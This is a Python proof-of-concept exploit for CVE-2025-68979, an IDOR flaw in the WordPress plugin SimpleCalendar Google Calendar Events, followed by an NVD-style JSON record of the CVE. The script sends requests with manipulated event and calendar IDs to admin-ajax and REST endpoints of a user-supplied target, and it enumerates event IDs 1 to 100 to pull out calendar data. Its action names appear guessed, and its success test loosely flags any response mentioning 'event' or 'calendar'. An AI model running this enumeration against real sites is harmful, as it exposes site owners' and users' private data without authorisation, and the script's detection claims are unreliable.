CVE-2025-68979

# CVE-2025-68979 PoC - SimpleCalendar Google Calendar Events IDOR # Description: Authorization Bypass Through User-Controlled Key (IDOR) # Affected: SimpleCalendar Google Calendar Events <= 3.5.9 import requests import sys from urllib.parse import urljoin def test_idor_vulnerability(target_url): """ Test for IDOR vulnerability in SimpleCalendar Google Calendar Events plugin. This PoC demonstrates how an attacker can access unauthorized calendar data. """ print(f"[*] Testing IDOR vulnerability on: {target_url}") print("[*] CVE-2025-68979 - Authorization Bypass Through User-Controlled Key") # Target WordPress site with SimpleCalendar plugin base_url = target_url.rstrip('/') # Common AJAX endpoint for SimpleCalendar plugin ajax_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/simplecalendar/v1/', '/?rest_route=/simplecalendar/v1/' ] # Try to access calendar events with manipulated object references test_payloads = [ # Manipulating event ID to access other users' events {'action': 'simple_calendar_get_event', 'event_id': '1'}, {'action': 'simple_calendar_get_event', 'event_id': '2'}, {'action': 'simple_calendar_get_event', 'event_id': '999'}, # Calendar ID manipulation {'action': 'simple_calendar_get_calendar', 'calendar_id': '1'}, {'action': 'simple_calendar_get_calendar', 'calendar_id': 'admin'} ] print("\n[*] Sending test requests with manipulated object references...") for endpoint in ajax_endpoints: url = urljoin(base_url, endpoint) for payload in test_payloads: try: response = requests.post(url, data=payload, timeout=10) # Check if we got unauthorized access to data if response.status_code == 200: # Check for sensitive data exposure if 'event' in response.text.lower() or 'calendar' in response.text.lower(): print(f"[+] Potential IDOR found at {url}") print(f"[+] Payload: {payload}") print(f"[+] Response contains sensitive data") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") continue print("\n[-] No obvious IDOR vulnerability detected") print("[*] Manual testing recommended") return False def enumerate_calendar_events(target_url): """ Enumerate calendar events using sequential IDs after IDOR is confirmed. This demonstrates the potential data exposure. """ print("\n[*] Attempting to enumerate calendar events...") url = urljoin(target_url, '/wp-admin/admin-ajax.php') for event_id in range(1, 101): payload = {'action': 'simple_calendar_get_event', 'event_id': str(event_id)} try: response = requests.post(url, data=payload, timeout=5) if response.status_code == 200 and response.text.strip(): print(f"[+] Event ID {event_id}: Accessible (potential data leak)") except: continue if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] test_idor_vulnerability(target) else: print("Usage: python cve-2025-68979_poc.py <target_url>") print("Example: python cve-2025-68979_poc.py http://example.com")

{"cve": {"id": "CVE-2025-68979", "sourceIdentifier": "[email protected]", "published": "2025-12-30T11:15:56.493", "lastModified": "2026-04-27T19:16:38.950", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in SimpleCalendar Google Calendar Events google-calendar-events allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Google Calendar Events: from n/a through <= 3.5.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/google-calendar-events/vulnerability/wordpress-google-calendar-events-plugin-3-5-9-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}